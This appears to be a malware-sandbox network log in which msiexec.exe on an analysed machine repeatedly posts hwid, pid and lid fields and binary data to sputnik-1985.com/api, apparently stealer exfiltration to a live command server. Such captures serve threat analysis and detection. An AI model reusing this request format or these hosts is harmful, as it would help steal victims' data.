2025-01-11 08:26:22 UTC	1369	IN	Data Raw: 71 4c 44 4b 4e 79 78 48 32 45 58 37 54 43 47 74 42 2b 6b 30 72 33 4b 73 34 31 66 33 35 34 37 48 4a 49 76 71 35 74 6c 6c 39 74 4c 68 39 35 67 2b 4f 67 36 4e 41 39 52 48 42 72 41 58 2f 53 6e 6f 61 75 54 33 48 2f 33 75 7a 5a 35 67 67 76 66 73 33 57 66 7a 31 36 36 39 31 6a 38 6b 51 39 42 4d 2b 56 6b 6e 72 67 48 6b 4d 4b 4e 6e 71 75 4e 62 39 75 61 46 7a 53 72 42 74 71 58 56 64 37 75 41 34 59 7a 56 4e 69 4a 4e 77 77 50 73 42 54 62 67 43 2b 4e 2f 38 44 57 6d 34 46 2f 31 37 6f 48 4e 4b 49 44 30 36 39 56 71 38 74 43 70 71 39 6b 39 4b 6b 2f 62 54 50 4a 50 4b 71 55 49 36 44 75 75 65 75 71 67 48 2f 33 36 7a 5a 35 67 72 74 2f 51 6b 45 37 42 6d 4c 37 33 77 58 6b 6c 51 70 55 62 73 30 63 73 72 41 54 67 4f 61 46 35 6f 4f 64 55 39 75 6d 4a 79 69 6d 45 2f 75 54 58 61 76 72 Data Ascii: qLDKNyxH2EX7TCGtB+k0r3Ks41f3547HJIvq5tll9tLh95g+Og6NA9RHBrAX/SnoauT3H/3uzZ5ggvfs3Wfz16691j8kQ9BM+VknrgHkMKNnquNb9uaFzSrBtqXVd7uA4YzVNiJNwwPsBTbgC+N/8DWm4F/17oHNKID069Vq8tCpq9k9Kk/bTPJPKqUI6DuueuqgH/36zZ5grt/QkE7BmL73wXklQpUbs0csrATgOaF5oOdU9umJyimE/uTXavr
2025-01-11 08:26:22 UTC	1369	IN	Data Raw: 6a 63 76 51 64 31 4c 2b 6b 6f 72 70 51 48 70 4d 36 4a 30 72 65 42 52 38 71 4c 44 68 69 65 5a 75 4c 32 53 54 75 76 44 73 36 2f 56 47 43 39 42 6c 56 79 39 55 6d 2b 6e 41 4b 39 6e 36 48 79 34 36 6c 4c 6f 36 34 72 49 4c 34 4c 71 35 4e 39 6b 36 64 2b 75 76 64 38 31 4a 45 48 54 51 76 5a 42 49 36 63 4a 35 44 43 6b 4e 65 53 75 57 4f 4b 69 31 59 59 4f 69 75 76 79 30 57 48 77 7a 72 72 35 78 33 63 37 44 74 4a 50 73 78 4e 76 6f 77 66 6b 4f 36 68 35 71 75 70 53 2b 76 43 43 77 53 65 49 38 2f 66 59 61 50 7a 54 71 62 4c 58 50 7a 42 43 32 31 48 32 57 54 33 67 51 71 38 34 73 44 58 79 72 6d 6e 39 38 70 33 46 59 72 44 75 35 73 52 6b 39 74 54 68 70 70 59 67 59 6b 6e 5a 41 36 73 4c 4b 61 38 46 37 44 43 70 66 4b 62 6a 57 76 50 6e 6a 4d 41 6b 69 2f 4c 6c 31 47 6e 36 33 61 75 36 Data Ascii: jcvQd1L+korpQHpM6J0reBR8qLDhieZuL2STuvDs6/VGC9BlVy9Um+nAK9n6Hy46lLo64rIL4Lq5N9k6d+uvd81JEHTQvZBI6cJ5DCkNeSuWOKi1YYOiuvy0WHwzrr5x3c7DtJPsxNvowfkO6h5qupS+vCCwSeI8/fYaPzTqbLXPzBC21H2WT3gQq84sDXyrmn98p3FYrDu5sRk9tThppYgYknZA6sLKa8F7DCpfKbjWvPnjMAki/Ll1Gn63au6
2025-01-11 08:26:22 UTC	1369	IN	Data Raw: 36 4e 41 2f 42 4d 4c 4b 45 47 35 6a 4f 6e 63 71 37 38 56 66 33 77 6a 4d 63 72 6a 50 54 6c 33 32 4c 78 32 61 69 30 31 44 51 6c 53 64 70 47 73 77 56 76 70 78 53 76 5a 2b 68 55 70 2b 56 54 6f 62 6a 4e 32 57 36 59 75 4f 4c 65 4c 36 4f 59 6f 62 50 64 4d 79 39 4e 32 6b 44 68 53 69 6d 79 44 4f 49 31 75 6e 2b 68 36 31 4c 33 37 34 37 41 4a 6f 72 30 39 39 74 76 2b 4e 50 68 39 35 67 2b 4f 67 36 4e 41 39 42 63 4f 61 6f 4c 34 79 6d 6a 64 4b 6e 34 55 75 71 69 77 34 59 78 68 75 6d 6c 69 6e 6e 72 7a 36 61 6d 6c 69 42 69 53 64 6b 44 71 77 73 70 71 51 72 6f 4f 61 5a 6e 72 2b 68 51 39 65 75 45 77 69 69 43 2b 4f 48 57 61 50 37 62 72 62 4c 66 4f 69 31 4b 33 45 33 36 52 47 2f 75 54 4f 67 6e 36 43 33 71 7a 30 54 35 37 6f 43 47 50 38 2f 68 70 64 56 6a 75 34 44 68 74 64 59 38 49 Data Ascii: 6NA/BMLKEG5jOncq78Vf3wjMcrjPTl32Lx2ai01DQlSdpGswVvpxSvZ+hUp+VTobjN2W6YuOLeL6OYobPdMy9N2kDhSimyDOI1un+h61L3747AJor099tv+NPh95g+Og6NA9BcOaoL4ymjdKn4Uuqiw4Yxhumlinnrz6amliBiSdkDqwspqQroOaZnr+hQ9euEwiiC+OHWaP7brbLfOi1K3E36RG/uTOgn6C3qz0T57oCGP8/hpdVju4DhtdY8I
2025-01-11 08:26:22 UTC	1369	IN	Data Raw: 30 58 57 32 56 44 2b 45 78 72 32 50 71 38 57 43 30 6f 6f 4c 63 59 4e 6e 42 2f 4a 4a 6f 39 35 6a 35 2b 63 30 2b 49 6b 6e 50 56 66 52 48 50 71 73 42 34 78 32 6e 63 72 7a 74 55 50 6e 7a 68 49 6f 72 6a 4c 69 72 6b 6d 6a 6a 6d 50 6e 35 39 7a 34 30 54 66 70 41 34 6b 4a 76 37 6b 7a 6f 4b 65 67 74 36 74 41 66 36 4f 47 64 78 53 2b 51 78 71 57 4b 64 73 57 59 71 71 2f 66 4b 53 46 59 33 6b 37 2f 57 68 48 67 56 4c 74 74 2b 69 66 34 76 45 43 36 2f 62 4b 49 59 49 43 34 76 65 74 32 75 38 37 68 34 59 70 33 59 6c 79 56 47 37 4d 4d 4c 4c 49 65 36 54 79 2b 64 75 33 51 59 64 33 30 68 38 45 77 68 75 2f 71 6b 69 47 37 31 2b 48 68 34 58 6b 72 53 63 35 53 35 55 59 2f 70 30 7a 51 63 65 68 74 36 72 59 66 7a 2b 47 44 79 43 65 58 36 61 6a 31 65 66 48 66 73 62 37 50 4e 6d 49 41 6c 55 Data Ascii: 0XW2VD+Exr2Pq8WC0ooLcYNnB/JJo95j5+c0+IknPVfRHPqsB4x2ncrztUPnzhIorjLirkmjjmPn59z40TfpA4kJv7kzoKegt6tAf6OGdxS+QxqWKdsWYqq/fKSFY3k7/WhHgVLtt+if4vEC6/bKIYIC4vet2u87h4Yp3YlyVG7MMLLIe6Ty+du3QYd30h8Ewhu/qkiG71+Hh4XkrSc5S5UY/p0zQceht6rYfz+GDyCeX6aj1efHfsb7PNmIAlU
2025-01-11 08:26:22 UTC	1369	IN	Data Raw: 72 52 6d 67 4c 72 35 32 76 4f 6b 54 38 76 4f 41 79 6d 43 2b 74 71 58 4b 4c 36 4f 59 6c 4c 72 57 4e 79 56 59 78 41 37 54 51 43 4f 6a 41 4f 34 34 36 44 76 71 36 42 2b 69 73 63 4f 47 4a 4a 43 34 76 59 49 39 6f 49 33 79 37 6f 68 72 50 51 44 4d 41 2b 55 4c 64 2f 4a 43 72 79 33 6f 4c 65 71 70 58 4f 6a 77 69 38 55 32 67 72 2f 62 37 47 37 32 31 2b 32 33 30 7a 6b 6c 58 73 4e 59 76 30 4d 73 75 68 62 52 41 59 4e 35 72 4f 6c 46 2f 65 53 72 35 6d 44 50 75 4f 71 53 4e 38 4b 59 36 66 6e 6e 64 32 4a 57 6c 52 75 7a 66 69 79 75 41 75 67 70 75 54 69 43 7a 57 58 41 6f 4b 48 42 4e 63 50 4d 34 73 4a 2b 38 4e 57 74 2b 5a 5a 35 4a 41 36 4e 45 37 30 4c 4b 37 46 4d 74 32 2f 36 4c 76 2b 39 43 4b 71 77 6b 6f 67 35 77 65 36 6c 69 6a 32 31 6d 4c 50 35 67 48 6c 6c 54 63 64 52 39 55 67 Data Ascii: rRmgLr52vOkT8vOAymC+tqXKL6OYlLrWNyVYxA7TQCOjAO446Dvq6B+iscOGJJC4vYI9oI3y7ohrPQDMA+ULd/JCry3oLeqpXOjwi8U2gr/b7G721+230zklXsNYv0MsuhbRAYN5rOlF/eSr5mDPuOqSN8KY6fnnd2JWlRuzfiyuAugpuTiCzWXAoKHBNcPM4sJ+8NWt+ZZ5JA6NE70LK7FMt2/6Lv+9CKqwkog5we6lij21mLP5gHllTcdR9Ug
2025-01-11 08:26:22 UTC	1369	IN	Data Raw: 33 69 6d 65 4b 76 74 55 66 6e 77 6e 38 41 6a 6c 2f 75 69 37 46 48 65 31 61 79 38 31 6a 34 63 63 50 52 4a 34 30 59 67 70 30 37 50 4f 4c 35 32 6c 4e 42 6f 36 2b 57 64 68 41 61 43 37 75 61 53 49 62 76 41 34 65 47 59 47 43 68 65 32 45 7a 30 43 51 2b 6e 47 75 78 2f 35 6a 57 75 72 67 65 36 78 34 44 4c 4a 59 2f 2f 70 2f 4e 6c 36 39 57 75 76 70 6f 5a 4a 56 6a 57 41 37 30 4c 49 2b 42 55 72 7a 36 69 5a 61 66 68 57 4c 62 6c 6c 38 46 67 7a 37 6a 72 6b 6a 65 37 32 61 75 70 31 54 59 6c 41 74 4e 4e 2f 51 73 77 37 68 57 76 4b 65 67 74 2b 61 41 66 36 4b 4c 56 68 6d 65 43 36 76 66 55 62 4f 33 62 35 6f 66 6d 46 44 42 4a 78 55 43 78 65 69 4b 6b 47 76 6f 38 75 48 4b 55 30 48 4c 6f 35 5a 33 46 59 72 44 75 35 74 4a 68 2f 4a 6a 76 2b 63 42 35 65 67 37 34 55 66 52 62 4c 4f 42 43 Data Ascii: 3imeKvtUfnwn8Ajl/ui7FHe1ay81j4ccPRJ40Ygp07POL52lNBo6+WdhAaC7uaSIbvA4eGYGChe2Ez0CQ+nGux/5jWurge6x4DLJY//p/Nl69WuvpoZJVjWA70LI+BUrz6iZafhWLbll8Fgz7jrkje72aup1TYlAtNN/Qsw7hWvKegt+aAf6KLVhmeC6vfUbO3b5ofmFDBJxUCxeiKkGvo8uHKU0HLo5Z3FYrDu5tJh/Jjv+cB5eg74UfRbLOBC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.7	49866	104.21.96.1	443	2500	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 08:26:22 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=2ZAT7DYAMG User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12295 Host: sputnik-1985.com
2025-01-11 08:26:22 UTC	12295	OUT	Data Raw: 2d 2d 32 5a 41 54 37 44 59 41 4d 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 35 45 35 34 39 41 33 33 45 43 44 31 38 43 42 32 33 41 37 46 44 44 43 39 35 42 33 43 33 36 41 0d 0a 2d 2d 32 5a 41 54 37 44 59 41 4d 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 32 5a 41 54 37 44 59 41 4d 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 44 76 68 38 75 69 2d 2d 33 33 33 0d 0a 2d 2d 32 5a 41 54 37 44 59 41 4d 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 Data Ascii: --2ZAT7DYAMGContent-Disposition: form-data; name="hwid"85E549A33ECD18CB23A7FDDC95B3C36A--2ZAT7DYAMGContent-Disposition: form-data; name="pid"2--2ZAT7DYAMGContent-Disposition: form-data; name="lid"Dvh8ui--333--2ZAT7DYAMGContent-Di
2025-01-11 08:26:23 UTC	1122	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 08:26:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gmtbico9tibon09ccb25k2bseo; expires=Wed, 07 May 2025 02:13:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VMZjUkS809qC7yy3JWKC5zYbQKEmmT6n4clWoNanQE8RBreFJAKLVkg75Egw96OcwrWGaqLY9OAGuUAATvRVFBnwyQ4dgQczIrohwZSGiDZb%2BM4mhaupNVGPODP%2BVbnnRiwO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900385848b2342c0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1616&min_rtt=1611&rtt_var=614&sent=8&recv=16&lost=0&retrans=0&sent_bytes=2840&recv_bytes=13227&delivery_rate=1768625&cwnd=212&unsent_bytes=0&cid=1c64c2a4a6997609&ts=625&x=0"
2025-01-11 08:26:23 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-11 08:26:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.7	49876	104.21.96.1	443	2500	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 08:26:24 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=M8J57NLFQ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15020 Host: sputnik-1985.com
2025-01-11 08:26:24 UTC	15020	OUT	Data Raw: 2d 2d 4d 38 4a 35 37 4e 4c 46 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 35 45 35 34 39 41 33 33 45 43 44 31 38 43 42 32 33 41 37 46 44 44 43 39 35 42 33 43 33 36 41 0d 0a 2d 2d 4d 38 4a 35 37 4e 4c 46 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4d 38 4a 35 37 4e 4c 46 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 44 76 68 38 75 69 2d 2d 33 33 33 0d 0a 2d 2d 4d 38 4a 35 37 4e 4c 46 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 Data Ascii: --M8J57NLFQContent-Disposition: form-data; name="hwid"85E549A33ECD18CB23A7FDDC95B3C36A--M8J57NLFQContent-Disposition: form-data; name="pid"2--M8J57NLFQContent-Disposition: form-data; name="lid"Dvh8ui--333--M8J57NLFQContent-Dispos
2025-01-11 08:26:24 UTC	1120	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 08:26:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=h61a4pgtjr34chl7uahdk5dc4n; expires=Wed, 07 May 2025 02:13:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uvuNyO2%2FCOiBqD0obvadFTbtAWbcKbeiuUn774bkSM1UfI5qQgG2gDuBOm4AGblJ9LdfXc87OIeUTw1GiM82F5TUeyWcV31ZFV1SXxzEzgwtj63bL0oeHoGHE7yboPeFWSgK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9003858d2873c32e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1652&min_rtt=1648&rtt_var=626&sent=9&recv=18&lost=0&retrans=0&sent_bytes=2841&recv_bytes=15951&delivery_rate=1734997&cwnd=178&unsent_bytes=0&cid=276e187d58de7c6c&ts=501&x=0"
2025-01-11 08:26:24 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-11 08:26:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.7	49887	104.21.96.1	443	2500	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 08:26:25 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=F81NVZ5K64DMMOWV223 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20405 Host: sputnik-1985.com
2025-01-11 08:26:25 UTC	15331	OUT	Data Raw: 2d 2d 46 38 31 4e 56 5a 35 4b 36 34 44 4d 4d 4f 57 56 32 32 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 35 45 35 34 39 41 33 33 45 43 44 31 38 43 42 32 33 41 37 46 44 44 43 39 35 42 33 43 33 36 41 0d 0a 2d 2d 46 38 31 4e 56 5a 35 4b 36 34 44 4d 4d 4f 57 56 32 32 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 46 38 31 4e 56 5a 35 4b 36 34 44 4d 4d 4f 57 56 32 32 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 44 76 68 38 75 69 2d 2d 33 33 Data Ascii: --F81NVZ5K64DMMOWV223Content-Disposition: form-data; name="hwid"85E549A33ECD18CB23A7FDDC95B3C36A--F81NVZ5K64DMMOWV223Content-Disposition: form-data; name="pid"3--F81NVZ5K64DMMOWV223Content-Disposition: form-data; name="lid"Dvh8ui--33
2025-01-11 08:26:25 UTC	5074	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b6 b9 fe 28 58 da f6 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 36 d7 17 05 4b db 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e6 fa a3 60 69 db 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 db 5c 5f 14 2c 6d fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 9b eb 8f 82 a5 6d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 73 7d 51 b0 b4 ed a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 6d ae 2f Data Ascii: (X6K~`iO\_,mi`m?ls}Qm/
2025-01-11 08:26:26 UTC	1127	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 08:26:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=bbngchgnk0j7e3qa9l2ifqthnh; expires=Wed, 07 May 2025 02:13:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=U%2BZfTP%2BlholoJg51WJjFPRaSx5Ju8XbCi8FhUbw%2Bf46Yit0oh0Bh5FZI4MIszM0IZov3opOhfJcBXFTzdJyPwzmYV3Uhy90LWE48n1rUd9nNOxdHan0mKqMRHbS4d%2BrK8hbh"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900385957a661a48-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2011&min_rtt=2008&rtt_var=760&sent=11&recv=25&lost=0&retrans=0&sent_bytes=2839&recv_bytes=21368&delivery_rate=1433480&cwnd=157&unsent_bytes=0&cid=8ac6d19113eeace8&ts=600&x=0"
2025-01-11 08:26:26 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-11 08:26:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.7	49900	104.21.96.1	443	2500	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 08:26:27 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=DKYUV9UKZQKGBQAA User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1224 Host: sputnik-1985.com
2025-01-11 08:26:27 UTC	1224	OUT	Data Raw: 2d 2d 44 4b 59 55 56 39 55 4b 5a 51 4b 47 42 51 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 35 45 35 34 39 41 33 33 45 43 44 31 38 43 42 32 33 41 37 46 44 44 43 39 35 42 33 43 33 36 41 0d 0a 2d 2d 44 4b 59 55 56 39 55 4b 5a 51 4b 47 42 51 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 44 4b 59 55 56 39 55 4b 5a 51 4b 47 42 51 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 44 76 68 38 75 69 2d 2d 33 33 33 0d 0a 2d 2d 44 4b 59 55 Data Ascii: --DKYUV9UKZQKGBQAAContent-Disposition: form-data; name="hwid"85E549A33ECD18CB23A7FDDC95B3C36A--DKYUV9UKZQKGBQAAContent-Disposition: form-data; name="pid"1--DKYUV9UKZQKGBQAAContent-Disposition: form-data; name="lid"Dvh8ui--333--DKYU
2025-01-11 08:26:27 UTC	1128	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 08:26:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=m4fh9papv5ot6qbhcvt60qt5jl; expires=Wed, 07 May 2025 02:13:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IwHQO%2FAc%2FFXLatbbSG9NhsSXAq3otW5al9SSDFVTLHtUBVPhnQRO5PtFJZh5CuggQH%2Fs0mjCg4lHZq%2FsucwmIRn%2FyfGDxAyyrEB7D3ke7Sop4ePJi4qwXeb9drUgnOp%2FT2mA"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900385a16b19de9a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1561&min_rtt=1555&rtt_var=595&sent=5&recv=9&lost=0&retrans=0&sent_bytes=2840&recv_bytes=2139&delivery_rate=1819314&cwnd=209&unsent_bytes=0&cid=6e184b0a898d4078&ts=417&x=0"
2025-01-11 08:26:27 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-11 08:26:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.7	49913	104.21.96.1	443	2500	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 08:26:29 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=JYJ0DINBWVH User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 327100 Host: sputnik-1985.com
2025-01-11 08:26:29 UTC	15331	OUT	Data Raw: 2d 2d 4a 59 4a 30 44 49 4e 42 57 56 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 35 45 35 34 39 41 33 33 45 43 44 31 38 43 42 32 33 41 37 46 44 44 43 39 35 42 33 43 33 36 41 0d 0a 2d 2d 4a 59 4a 30 44 49 4e 42 57 56 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4a 59 4a 30 44 49 4e 42 57 56 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 44 76 68 38 75 69 2d 2d 33 33 33 0d 0a 2d 2d 4a 59 4a 30 44 49 4e 42 57 56 48 0d 0a 43 6f 6e 74 65 6e Data Ascii: --JYJ0DINBWVHContent-Disposition: form-data; name="hwid"85E549A33ECD18CB23A7FDDC95B3C36A--JYJ0DINBWVHContent-Disposition: form-data; name="pid"1--JYJ0DINBWVHContent-Disposition: form-data; name="lid"Dvh8ui--333--JYJ0DINBWVHConten
